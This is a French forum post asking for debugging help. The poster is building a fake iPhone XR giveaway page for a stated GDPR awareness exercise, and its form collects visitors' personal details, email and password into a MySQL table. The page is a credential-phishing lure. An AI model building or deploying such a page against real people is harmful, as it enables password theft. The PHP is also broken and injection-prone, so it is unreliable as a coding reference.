Salut, Pour une prévention RGPD je dois réaliser une fausse page concours, les personnes remplissent donc un formulaire dont le mail et le mdp seront stockés (pour montrer la facilité de récupération de données). Or, quand j’essaye d’envoyer le mdp et le mail j’ai ce message d’erreur : Fatal error: Uncaught Error: Call to a member function fetch() on boolean on line 15.
Voici le code HTML :
<html lang="fr">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="page_concours.css">
<title>Gagnez un Iphone XR</title>
</head>
<body>
<div class="head">
Concours Iphone XR <br> Remportez le tout dernier iPhone XR
</div>
<div class="iphone">
<img src="iphone_xr.png" alt="iphone">
</div>
<div class="certif">
<img src="121-1215135_certified-png-certified.png" alt="certif" height="100px" width="130px">
</div>
<div class="apple">
<img src="apple_logo_PNG19670.png" alt="apple" height="120px" width="100px">
</div>
<form method="post" action="page_concours_form.php" target="_blank">
<label for="nom">Nom :</label>
<input type="text" id="nom" size="15"> <br>
<label for="prenom">Prénom : </label>
<input type="text" id="prenom" size="15"><br>
<label for="age">Âge :</label>
<input for="number" id="age" requiredminlength="2" maxlength="3" size="15"><br>
<label for="adresse">Adresse :</label>
<input for="text" id="adresse" requiredminlength="2" size="40"><br>
<label for="ville">Ville :</label>
<input for="text" id="ville" name="ville" size="20"><br>
<label for="codepostal">Code Postal :</label>
<input for="number" id="codepostal" requiredminlength="5" maxlength="5" size="5"><br>
<label for="email">Adresse e-mail :</label>
<input for="text" name="email" size="35"><br>
<label for="pass">Mot de passe :</label>
<input for="text" name="mdp" type="password" size="20"><br>
<input type="submit" name="envoi" value="Envoyer le formulaire">
</form>
<script>
alert("Tentez de remporter le tout dernier iPhone XR !!!\nPour participer c'est très simple il vous suffit de compléter le formulaire.");
</script>
</body>
</html>
Et le php :
<?php
session_start ();
try{
$bdd = new PDO("mysql:host = 'localhost' ;port=3306,dbname=page_concours;charset=utf8", 'root', '',
array(PDO::ATTR_PERSISTENT => PDO::ERRMODE_EXCEPTION));
$bdd->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
catch(PDOException $e)
{
die('erreur : '.$e->getMessage());
}
if(isset($_POST['envoi'])&& isset($_POST['email']) && isset($_POST['mdp'])){ // si formulaire soumis
$emailres = isset($_POST['email']);
$mdpres = isset($_POST['mdp']);
$email = $emailres->fetch();
$mdp = $mdpres->fetch();
$hostname= 'localhost';
$username = 'root';
$password = 'root';
$req = $bdd->prepare("INSERT INTO identifiants (Adresses, Mdp) VALUES ($email,$mdp)");
$req -> bindValue(':Adresses',$email, PDO::PARAM_STR);
$req -> bindValue(':Mdp',$mdp, PDO::PARAM_STR);
$req->PDOStatement::execute($_POST['email'],$_POST['mdp']);
}
?>
Merci d’avance.
+0
-0